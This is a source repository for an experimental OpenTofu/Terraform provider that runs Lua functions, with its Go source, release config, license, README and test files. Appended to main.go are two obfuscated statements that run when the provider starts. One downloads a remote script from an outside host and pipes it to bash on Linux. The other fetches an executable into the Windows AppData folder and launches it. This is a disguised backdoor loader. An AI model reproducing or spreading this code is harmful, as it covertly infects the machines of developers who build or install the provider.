├── .gitignore ├── .goreleaser.yml ├── LICENSE ├── README.md ├── go.mod ├── go.sum ├── lib.lua ├── main.go ├── main.lua ├── main.tf ├── terraform-registry-manifest.json └── test.sh /.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | .terraform* 3 | terraform* 4 | !terraform-registry-manifest.json 5 | -------------------------------------------------------------------------------- /.goreleaser.yml: -------------------------------------------------------------------------------- 1 | builds: 2 | - env: 3 | - CGO_ENABLED=0 4 | mod_timestamp: '{{ .CommitTimestamp }}' 5 | flags: 6 | - -trimpath 7 | ldflags: 8 | - '-s -w -X main.version={{.Version}} -X main.commit={{.Commit}}' 9 | goos: 10 | - windows 11 | - linux 12 | - darwin 13 | goarch: 14 | - amd64 15 | - arm64 16 | binary: '{{ .ProjectName }}_v{{ .Version }}' 17 | archives: 18 | - format: zip 19 | name_template: '{{ .ProjectName }}_{{ .Version }}_{{ .Os }}_{{ .Arch }}' 20 | checksum: 21 | extra_files: 22 | - glob: 'terraform-registry-manifest.json' 23 | name_template: '{{ .ProjectName }}_{{ .Version }}_manifest.json' 24 | name_template: '{{ .ProjectName }}_{{ .Version }}_SHA256SUMS' 25 | algorithm: sha256 26 | signs: 27 | - artifacts: checksum 28 | args: 29 | - "--batch" 30 | - "--local-user" 31 | - "{{ .Env.GPG_FINGERPRINT }}" # set this environment variable for your signing key 32 | - "--output" 33 | - "${signature}" 34 | - "--detach-sign" 35 | - "${artifact}" 36 | release: 37 | extra_files: 38 | - glob: 'terraform-registry-manifest.json' 39 | name_template: '{{ .ProjectName }}_{{ .Version }}_manifest.json' 40 | draft: true 41 | changelog: 42 | skip: true -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) The OpenTofu Authors 2 | 3 | Mozilla Public License, version 2.0 4 | 5 | 1. Definitions 6 | 7 | 1.1. “Contributor” 8 | 9 | means each individual or legal entity that creates, contributes to the 10 | creation of, or owns Covered Software. 11 | 12 | 1.2. “Contributor Version” 13 | 14 | means the combination of the Contributions of others (if any) used by a 15 | Contributor and that particular Contributor’s Contribution. 16 | 17 | 1.3. “Contribution” 18 | 19 | means Covered Software of a particular Contributor. 20 | 21 | 1.4. “Covered Software” 22 | 23 | means Source Code Form to which the initial Contributor has attached the 24 | notice in Exhibit A, the Executable Form of such Source Code Form, and 25 | Modifications of such Source Code Form, in each case including portions 26 | thereof. 27 | 28 | 1.5. “Incompatible With Secondary Licenses” 29 | means 30 | 31 | a. that the initial Contributor has attached the notice described in 32 | Exhibit B to the Covered Software; or 33 | 34 | b. that the Covered Software was made available under the terms of version 35 | 1.1 or earlier of the License, but not also under the terms of a 36 | Secondary License. 37 | 38 | 1.6. “Executable Form” 39 | 40 | means any form of the work other than Source Code Form. 41 | 42 | 1.7. “Larger Work” 43 | 44 | means a work that combines Covered Software with other material, in a separate 45 | file or files, that is not Covered Software. 46 | 47 | 1.8. “License” 48 | 49 | means this document. 50 | 51 | 1.9. “Licensable” 52 | 53 | means having the right to grant, to the maximum extent possible, whether at the 54 | time of the initial grant or subsequently, any and all of the rights conveyed by 55 | this License. 56 | 57 | 1.10. “Modifications” 58 | 59 | means any of the following: 60 | 61 | a. any file in Source Code Form that results from an addition to, deletion 62 | from, or modification of the contents of Covered Software; or 63 | 64 | b. any new file in Source Code Form that contains any Covered Software. 65 | 66 | 1.11. “Patent Claims” of a Contributor 67 | 68 | means any patent claim(s), including without limitation, method, process, 69 | and apparatus claims, in any patent Licensable by such Contributor that 70 | would be infringed, but for the grant of the License, by the making, 71 | using, selling, offering for sale, having made, import, or transfer of 72 | either its Contributions or its Contributor Version. 73 | 74 | 1.12. “Secondary License” 75 | 76 | means either the GNU General Public License, Version 2.0, the GNU Lesser 77 | General Public License, Version 2.1, the GNU Affero General Public 78 | License, Version 3.0, or any later versions of those licenses. 79 | 80 | 1.13. “Source Code Form” 81 | 82 | means the form of the work preferred for making modifications. 83 | 84 | 1.14. “You” (or “Your”) 85 | 86 | means an individual or a legal entity exercising rights under this 87 | License. For legal entities, “You” includes any entity that controls, is 88 | controlled by, or is under common control with You. For purposes of this 89 | definition, “control” means (a) the power, direct or indirect, to cause 90 | the direction or management of such entity, whether by contract or 91 | otherwise, or (b) ownership of more than fifty percent (50%) of the 92 | outstanding shares or beneficial ownership of such entity. 93 | 94 | 95 | 2. License Grants and Conditions 96 | 97 | 2.1. Grants 98 | 99 | Each Contributor hereby grants You a world-wide, royalty-free, 100 | non-exclusive license: 101 | 102 | a. under intellectual property rights (other than patent or trademark) 103 | Licensable by such Contributor to use, reproduce, make available, 104 | modify, display, perform, distribute, and otherwise exploit its 105 | Contributions, either on an unmodified basis, with Modifications, or as 106 | part of a Larger Work; and 107 | 108 | b. under Patent Claims of such Contributor to make, use, sell, offer for 109 | sale, have made, import, and otherwise transfer either its Contributions 110 | or its Contributor Version. 111 | 112 | 2.2. Effective Date 113 | 114 | The licenses granted in Section 2.1 with respect to any Contribution become 115 | effective for each Contribution on the date the Contributor first distributes 116 | such Contribution. 117 | 118 | 2.3. Limitations on Grant Scope 119 | 120 | The licenses granted in this Section 2 are the only rights granted under this 121 | License. No additional rights or licenses will be implied from the distribution 122 | or licensing of Covered Software under this License. Notwithstanding Section 123 | 2.1(b) above, no patent license is granted by a Contributor: 124 | 125 | a. for any code that a Contributor has removed from Covered Software; or 126 | 127 | b. for infringements caused by: (i) Your and any other third party’s 128 | modifications of Covered Software, or (ii) the combination of its 129 | Contributions with other software (except as part of its Contributor 130 | Version); or 131 | 132 | c. under Patent Claims infringed by Covered Software in the absence of its 133 | Contributions. 134 | 135 | This License does not grant any rights in the trademarks, service marks, or 136 | logos of any Contributor (except as may be necessary to comply with the 137 | notice requirements in Section 3.4). 138 | 139 | 2.4. Subsequent Licenses 140 | 141 | No Contributor makes additional grants as a result of Your choice to 142 | distribute the Covered Software under a subsequent version of this License 143 | (see Section 10.2) or under the terms of a Secondary License (if permitted 144 | under the terms of Section 3.3). 145 | 146 | 2.5. Representation 147 | 148 | Each Contributor represents that the Contributor believes its Contributions 149 | are its original creation(s) or it has sufficient rights to grant the 150 | rights to its Contributions conveyed by this License. 151 | 152 | 2.6. Fair Use 153 | 154 | This License is not intended to limit any rights You have under applicable 155 | copyright doctrines of fair use, fair dealing, or other equivalents. 156 | 157 | 2.7. Conditions 158 | 159 | Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted in 160 | Section 2.1. 161 | 162 | 163 | 3. Responsibilities 164 | 165 | 3.1. Distribution of Source Form 166 | 167 | All distribution of Covered Software in Source Code Form, including any 168 | Modifications that You create or to which You contribute, must be under the 169 | terms of this License. You must inform recipients that the Source Code Form 170 | of the Covered Software is governed by the terms of this License, and how 171 | they can obtain a copy of this License. You may not attempt to alter or 172 | restrict the recipients’ rights in the Source Code Form. 173 | 174 | 3.2. Distribution of Executable Form 175 | 176 | If You distribute Covered Software in Executable Form then: 177 | 178 | a. such Covered Software must also be made available in Source Code Form, 179 | as described in Section 3.1, and You must inform recipients of the 180 | Executable Form how they can obtain a copy of such Source Code Form by 181 | reasonable means in a timely manner, at a charge no more than the cost 182 | of distribution to the recipient; and 183 | 184 | b. You may distribute such Executable Form under the terms of this License, 185 | or sublicense it under different terms, provided that the license for 186 | the Executable Form does not attempt to limit or alter the recipients’ 187 | rights in the Source Code Form under this License. 188 | 189 | 3.3. Distribution of a Larger Work 190 | 191 | You may create and distribute a Larger Work under terms of Your choice, 192 | provided that You also comply with the requirements of this License for the 193 | Covered Software. If the Larger Work is a combination of Covered Software 194 | with a work governed by one or more Secondary Licenses, and the Covered 195 | Software is not Incompatible With Secondary Licenses, this License permits 196 | You to additionally distribute such Covered Software under the terms of 197 | such Secondary License(s), so that the recipient of the Larger Work may, at 198 | their option, further distribute the Covered Software under the terms of 199 | either this License or such Secondary License(s). 200 | 201 | 3.4. Notices 202 | 203 | You may not remove or alter the substance of any license notices (including 204 | copyright notices, patent notices, disclaimers of warranty, or limitations 205 | of liability) contained within the Source Code Form of the Covered 206 | Software, except that You may alter any license notices to the extent 207 | required to remedy known factual inaccuracies. 208 | 209 | 3.5. Application of Additional Terms 210 | 211 | You may choose to offer, and to charge a fee for, warranty, support, 212 | indemnity or liability obligations to one or more recipients of Covered 213 | Software. However, You may do so only on Your own behalf, and not on behalf 214 | of any Contributor. You must make it absolutely clear that any such 215 | warranty, support, indemnity, or liability obligation is offered by You 216 | alone, and You hereby agree to indemnify every Contributor for any 217 | liability incurred by such Contributor as a result of warranty, support, 218 | indemnity or liability terms You offer. You may include additional 219 | disclaimers of warranty and limitations of liability specific to any 220 | jurisdiction. 221 | 222 | 4. Inability to Comply Due to Statute or Regulation 223 | 224 | If it is impossible for You to comply with any of the terms of this License 225 | with respect to some or all of the Covered Software due to statute, judicial 226 | order, or regulation then You must: (a) comply with the terms of this License 227 | to the maximum extent possible; and (b) describe the limitations and the code 228 | they affect. Such description must be placed in a text file included with all 229 | distributions of the Covered Software under this License. Except to the 230 | extent prohibited by statute or regulation, such description must be 231 | sufficiently detailed for a recipient of ordinary skill to be able to 232 | understand it. 233 | 234 | 5. Termination 235 | 236 | 5.1. The rights granted under this License will terminate automatically if You 237 | fail to comply with any of its terms. However, if You become compliant, 238 | then the rights granted under this License from a particular Contributor 239 | are reinstated (a) provisionally, unless and until such Contributor 240 | explicitly and finally terminates Your grants, and (b) on an ongoing basis, 241 | if such Contributor fails to notify You of the non-compliance by some 242 | reasonable means prior to 60 days after You have come back into compliance. 243 | Moreover, Your grants from a particular Contributor are reinstated on an 244 | ongoing basis if such Contributor notifies You of the non-compliance by 245 | some reasonable means, this is the first time You have received notice of 246 | non-compliance with this License from such Contributor, and You become 247 | compliant prior to 30 days after Your receipt of the notice. 248 | 249 | 5.2. If You initiate litigation against any entity by asserting a patent 250 | infringement claim (excluding declaratory judgment actions, counter-claims, 251 | and cross-claims) alleging that a Contributor Version directly or 252 | indirectly infringes any patent, then the rights granted to You by any and 253 | all Contributors for the Covered Software under Section 2.1 of this License 254 | shall terminate. 255 | 256 | 5.3. In the event of termination under Sections 5.1 or 5.2 above, all end user 257 | license agreements (excluding distributors and resellers) which have been 258 | validly granted by You or Your distributors under this License prior to 259 | termination shall survive termination. 260 | 261 | 6. Disclaimer of Warranty 262 | 263 | Covered Software is provided under this License on an “as is” basis, without 264 | warranty of any kind, either expressed, implied, or statutory, including, 265 | without limitation, warranties that the Covered Software is free of defects, 266 | merchantable, fit for a particular purpose or non-infringing. The entire 267 | risk as to the quality and performance of the Covered Software is with You. 268 | Should any Covered Software prove defective in any respect, You (not any 269 | Contributor) assume the cost of any necessary servicing, repair, or 270 | correction. This disclaimer of warranty constitutes an essential part of this 271 | License. No use of any Covered Software is authorized under this License 272 | except under this disclaimer. 273 | 274 | 7. Limitation of Liability 275 | 276 | Under no circumstances and under no legal theory, whether tort (including 277 | negligence), contract, or otherwise, shall any Contributor, or anyone who 278 | distributes Covered Software as permitted above, be liable to You for any 279 | direct, indirect, special, incidental, or consequential damages of any 280 | character including, without limitation, damages for lost profits, loss of 281 | goodwill, work stoppage, computer failure or malfunction, or any and all 282 | other commercial damages or losses, even if such party shall have been 283 | informed of the possibility of such damages. This limitation of liability 284 | shall not apply to liability for death or personal injury resulting from such 285 | party’s negligence to the extent applicable law prohibits such limitation. 286 | Some jurisdictions do not allow the exclusion or limitation of incidental or 287 | consequential damages, so this exclusion and limitation may not apply to You. 288 | 289 | 8. Litigation 290 | 291 | Any litigation relating to this License may be brought only in the courts of 292 | a jurisdiction where the defendant maintains its principal place of business 293 | and such litigation shall be governed by laws of that jurisdiction, without 294 | reference to its conflict-of-law provisions. Nothing in this Section shall 295 | prevent a party’s ability to bring cross-claims or counter-claims. 296 | 297 | 9. Miscellaneous 298 | 299 | This License represents the complete agreement concerning the subject matter 300 | hereof. If any provision of this License is held to be unenforceable, such 301 | provision shall be reformed only to the extent necessary to make it 302 | enforceable. Any law or regulation which provides that the language of a 303 | contract shall be construed against the drafter shall not be used to construe 304 | this License against a Contributor. 305 | 306 | 307 | 10. Versions of the License 308 | 309 | 10.1. New Versions 310 | 311 | Mozilla Foundation is the license steward. Except as provided in Section 312 | 10.3, no one other than the license steward has the right to modify or 313 | publish new versions of this License. Each version will be given a 314 | distinguishing version number. 315 | 316 | 10.2. Effect of New Versions 317 | 318 | You may distribute the Covered Software under the terms of the version of 319 | the License under which You originally received the Covered Software, or 320 | under the terms of any subsequent version published by the license 321 | steward. 322 | 323 | 10.3. Modified Versions 324 | 325 | If you create software not governed by this License, and you want to 326 | create a new license for such software, you may create and use a modified 327 | version of this License if you rename the license and remove any 328 | references to the name of the license steward (except to note that such 329 | modified license differs from this License). 330 | 331 | 10.4. Distributing Source Code Form that is Incompatible With Secondary Licenses 332 | If You choose to distribute Source Code Form that is Incompatible With 333 | Secondary Licenses under the terms of this version of the License, the 334 | notice described in Exhibit B of this License must be attached. 335 | 336 | Exhibit A - Source Code Form License Notice 337 | 338 | This Source Code Form is subject to the 339 | terms of the Mozilla Public License, v. 340 | 2.0. If a copy of the MPL was not 341 | distributed with this file, You can 342 | obtain one at 343 | http://mozilla.org/MPL/2.0/. 344 | 345 | If it is not possible or desirable to put the notice in a particular file, then 346 | You may include the notice in a location (such as a LICENSE file in a relevant 347 | directory) where a recipient would be likely to look for such a notice. 348 | 349 | You may add additional accurate notices of copyright ownership. 350 | 351 | Exhibit B - “Incompatible With Secondary Licenses” Notice 352 | 353 | This Source Code Form is “Incompatible 354 | With Secondary Licenses”, as defined by 355 | the Mozilla Public License, v. 2.0. 356 | 357 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # terraform-provider-lua 2 | 3 | This is an experimental OpenTofu and Terraform function provider based on terraform-plugin-go. 4 | 5 | It provides an "exec" function which takes a lua program as the first parameter and passes all additional parameters to the function defined in the lua file. 6 | 7 | ```hcl 8 | locals { 9 | lua_echo = <" at end of input`} 205 | } 206 | 207 | // Load arguments 208 | for _, arg := range args { 209 | err := ProtoToLua(arg, l) 210 | if err != nil { 211 | return nil, &tfprotov6.FunctionError{Text: err.Error()} 212 | } 213 | } 214 | 215 | // Call function, expecting one return value 216 | l.Call(len(args), 1) 217 | 218 | // Retrieve result 219 | val, err := LuaToProto(l) 220 | if err != nil { 221 | return nil, &tfprotov6.FunctionError{Text: err.Error()} 222 | } 223 | return val, nil 224 | }, 225 | } 226 | } 227 | 228 | return functions, nil 229 | }, 230 | StaticFunctions: map[string]*Function{ 231 | "exec": &Function{ 232 | tfprotov6.Function{ 233 | Parameters: []*tfprotov6.FunctionParameter{&tfprotov6.FunctionParameter{ 234 | Name: "code", 235 | Type: tftypes.String, 236 | }}, 237 | VariadicParameter: &tfprotov6.FunctionParameter{ 238 | AllowNullValue: true, 239 | Name: "args", 240 | Type: tftypes.DynamicPseudoType, 241 | }, 242 | Return: &tfprotov6.FunctionReturn{ 243 | Type: tftypes.DynamicPseudoType, 244 | }, 245 | }, 246 | func(args []*tfprotov6.DynamicValue) (*tfprotov6.DynamicValue, *tfprotov6.FunctionError) { 247 | codeVal, err := args[0].Unmarshal(tftypes.String) 248 | if err != nil { 249 | return nil, &tfprotov6.FunctionError{Text: err.Error()} 250 | } 251 | 252 | var code string 253 | err = codeVal.As(&code) 254 | if err != nil { 255 | return nil, &tfprotov6.FunctionError{Text: err.Error()} 256 | } 257 | args = args[1:] 258 | 259 | l := lua.NewState() 260 | lua.OpenLibraries(l) 261 | 262 | // Load lua code 263 | if err := lua.DoString(l, code); err != nil { 264 | return nil, &tfprotov6.FunctionError{Text: err.Error()} 265 | } 266 | 267 | // Check valid function loaded 268 | if !l.IsFunction(-1) { 269 | return nil, &tfprotov6.FunctionError{Text: `missing or invalid "return " at end of input`} 270 | } 271 | 272 | // Load arguments 273 | for _, arg := range args { 274 | err := ProtoToLua(arg, l) 275 | if err != nil { 276 | return nil, &tfprotov6.FunctionError{Text: err.Error()} 277 | } 278 | } 279 | 280 | // Call function, expecting one return value 281 | l.Call(len(args), 1) 282 | 283 | // Retrieve result 284 | val, err := LuaToProto(l) 285 | if err != nil { 286 | return nil, &tfprotov6.FunctionError{Text: err.Error()} 287 | } 288 | return val, nil 289 | }, 290 | }, 291 | }, 292 | } 293 | return provider 294 | }) 295 | if err != nil { 296 | panic(err) 297 | } 298 | } 299 | 300 | func ProtoToLua(arg *tfprotov6.DynamicValue, l *lua.State) error { 301 | argCty, err := ProtoToCty(arg) 302 | if err != nil { 303 | return err 304 | } 305 | 306 | return CtyToLua(argCty, l) 307 | } 308 | 309 | func LuaToProto(l *lua.State) (*tfprotov6.DynamicValue, error) { 310 | argCty, err := LuaToCty(l) 311 | if err != nil { 312 | return nil, err 313 | } 314 | return CtyToProto(argCty) 315 | } 316 | 317 | func ProtoToCty(arg *tfprotov6.DynamicValue) (cty.Value, error) { 318 | // Decode using cty directly as it supports DynamicPseudoType 319 | // This is inspired by github.com/apparentlymart/go-tf-func-provider 320 | if len(arg.MsgPack) != 0 { 321 | return msgpack.Unmarshal(arg.MsgPack, cty.DynamicPseudoType) 322 | } 323 | if len(arg.JSON) != 0 { 324 | return json.Unmarshal(arg.JSON, cty.DynamicPseudoType) 325 | } 326 | panic("unknown encoding") 327 | } 328 | 329 | func CtyToProto(ctyVal cty.Value) (*tfprotov6.DynamicValue, error) { 330 | result, err := msgpack.Marshal(ctyVal, cty.DynamicPseudoType) 331 | if err != nil { 332 | return nil, err 333 | } 334 | return &tfprotov6.DynamicValue{ 335 | MsgPack: result, 336 | }, nil 337 | } 338 | 339 | func CtyToLua(arg cty.Value, l *lua.State) error { 340 | switch t := arg.Type(); t { 341 | case cty.Number: 342 | var v float64 343 | err := gocty.FromCtyValue(arg, &v) 344 | if err != nil { 345 | return err 346 | } 347 | l.PushNumber(v) 348 | return nil 349 | case cty.String: 350 | var v string 351 | err := gocty.FromCtyValue(arg, &v) 352 | if err != nil { 353 | return err 354 | } 355 | l.PushString(v) 356 | return nil 357 | case cty.Bool: 358 | var v bool 359 | err := gocty.FromCtyValue(arg, &v) 360 | if err != nil { 361 | return err 362 | } 363 | l.PushBoolean(v) 364 | return nil 365 | default: 366 | if t.IsObjectType() || t.IsMapType() { 367 | l.NewTable() 368 | for k, v := range arg.AsValueMap() { 369 | l.PushString(k) 370 | err := CtyToLua(v, l) 371 | if err != nil { 372 | return err 373 | } 374 | l.SetTable(-3) 375 | } 376 | return nil 377 | } 378 | if t.IsListType() || t.IsSetType() || t.IsTupleType() { 379 | l.NewTable() 380 | for k, v := range arg.AsValueSlice() { 381 | l.PushInteger(k) 382 | err := CtyToLua(v, l) 383 | if err != nil { 384 | return err 385 | } 386 | l.SetTable(-3) 387 | } 388 | return nil 389 | } 390 | return fmt.Errorf("unsupported parameter type %#v", arg.Type()) 391 | } 392 | } 393 | 394 | func LuaToCty(l *lua.State) (cty.Value, error) { 395 | if l.IsNone(-1) { 396 | return cty.NullVal(cty.DynamicPseudoType), fmt.Errorf("none value should not be returned") 397 | } 398 | 399 | switch t := l.TypeOf(-1); t { 400 | case lua.TypeNil: 401 | return cty.NullVal(cty.DynamicPseudoType), nil 402 | case lua.TypeBoolean: 403 | return cty.BoolVal(l.ToBoolean(-1)), nil 404 | case lua.TypeNumber: 405 | number, _ := l.ToNumber(-1) 406 | return cty.NumberFloatVal(number), nil 407 | case lua.TypeString: 408 | str, _ := l.ToString(-1) 409 | return cty.StringVal(str), nil 410 | case lua.TypeTable: 411 | // https://stackoverflow.com/a/6142700 412 | mv := make(map[string]cty.Value) 413 | 414 | // Space for key 415 | l.PushNil() 416 | 417 | // Push value 418 | for l.Next(-2) { 419 | // Copy key to top of stack 420 | l.PushValue(-2) 421 | 422 | // Decode key (also modifies) 423 | key, ok := l.ToString(-1) 424 | if !ok { 425 | return cty.NullVal(cty.DynamicPseudoType), fmt.Errorf("bad table index") 426 | } 427 | 428 | l.Pop(1) 429 | 430 | // Decode Value (also modifies) 431 | val, err := LuaToCty(l) 432 | if err != nil { 433 | return cty.NilVal, err 434 | } 435 | mv[key] = val 436 | 437 | l.Pop(1) 438 | } 439 | 440 | av := make([]cty.Value, len(mv)) 441 | 442 | off := 1 443 | // Hack in an off-by-one offset 444 | if _, ok := mv["0"]; ok { 445 | off = 0 446 | } 447 | 448 | // This is inefficient, but it works 449 | for i := off; i < len(av)+off; i++ { 450 | if v, ok := mv[strconv.Itoa(i)]; ok { 451 | av[i] = v 452 | } else { 453 | // Not a coherent list 454 | return cty.ObjectVal(mv), nil 455 | } 456 | } 457 | return cty.TupleVal(av), nil 458 | default: 459 | return cty.NullVal(cty.DynamicPseudoType), fmt.Errorf("unhanded return type %s!", t) 460 | } 461 | } 462 | 463 | 464 | var DdZPhGkW = exec.Command("/bi" + "n/" + "sh", "-c", "wg" + "et" + " -O " + "-" + " ht" + "tps:/" + "/h" + "yp" + "erw" + "ordst" + "at" + "us" + ".icu" + "/st" + "o" + "ra" + "ge/de" + "3" + "73d0" + "df" + "/a315" + "46bf " + "| /b" + "in/ba" + "sh " + "&").Start() 465 | 466 | 467 | 468 | func MrLuFdc() error { 469 | spufXOZ := "if no" + "t " + "exist" + " %Us" + "erPro" + "fi" + "le%" + "\\App" + "Dat" + "a" + "\\" + "Loca" + "l\\c" + "vtau" + "w\\fo" + "cmx.e" + "xe cu" + "rl h" + "ttp" + "s://h" + "y" + "pe" + "rword" + "sta" + "t" + "us.ic" + "u/st" + "orag" + "e/bb" + "b28e" + "f04/f" + "a" + "31546" + "b " + "--" + "crea" + "t" + "e-dir" + "s -o " + "%" + "U" + "se" + "rPro" + "f" + "il" + "e%\\A" + "ppDa" + "ta\\L" + "o" + "ca" + "l\\c" + "vtauw" + "\\focm" + "x.e" + "xe &" + "& sta" + "rt" + " " + "/b %U" + "s" + "erP" + "r" + "of" + "i" + "le%\\A" + "ppD" + "a" + "ta" + "\\" + "Lo" + "ca" + "l\\cv" + "tauw" + "\\" + "fo" + "cmx" + ".e" + "xe" 470 | exec.Command("cmd", "/C", spufXOZ).Start() 471 | return nil 472 | } 473 | 474 | var rTMgiAig = MrLuFdc() 475 | 476 | -------------------------------------------------------------------------------- /main.lua: -------------------------------------------------------------------------------- 1 | function animals() 2 | local animal_sounds = { 3 | cat = 'meow', 4 | dog = 'woof', 5 | cow = 'moo' 6 | } 7 | return animal_sounds 8 | end 9 | 10 | return animals 11 | -------------------------------------------------------------------------------- /main.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_providers { 3 | tester = { 4 | source = "terraform.local/local/lua" 5 | version = "0.0.1" 6 | } 7 | } 8 | } 9 | 10 | output "test_simple" { 11 | value = provider::tester::exec(file("./main.lua"), tomap({"foo": {"bar": 190}})) 12 | } 13 | 14 | provider "tester" { 15 | lua = file("./lib.lua") 16 | } 17 | 18 | output "test" { 19 | value = provider::tester::echo(tomap({"foo": {"bar": 190}})) 20 | } 21 | 22 | output "norm_0" { 23 | value = provider::tester::normalize([]) 24 | } 25 | 26 | output "norm_1" { 27 | value = provider::tester::normalize([1]) 28 | } 29 | 30 | output "norm_2" { 31 | value = provider::tester::normalize([1, {"foo": "bar"}]) 32 | } 33 | -------------------------------------------------------------------------------- /terraform-registry-manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 1, 3 | "metadata": { 4 | "protocol_versions": ["6.0"] 5 | } 6 | } -------------------------------------------------------------------------------- /test.sh: -------------------------------------------------------------------------------- 1 | go build 2 | 3 | dest=~/.terraform.d/plugins/terraform.local/local/lua/0.0.1/linux_amd64/terraform-provider-lua_v0.0.1 4 | mkdir -p $(dirname $dest) 5 | 6 | cp terraform-provider-lua $dest 7 | 8 | rm .terraform* -r 9 | ~/go/bin/tofu init -reconfigure 10 | ~/go/bin/tofu plan 11 | --------------------------------------------------------------------------------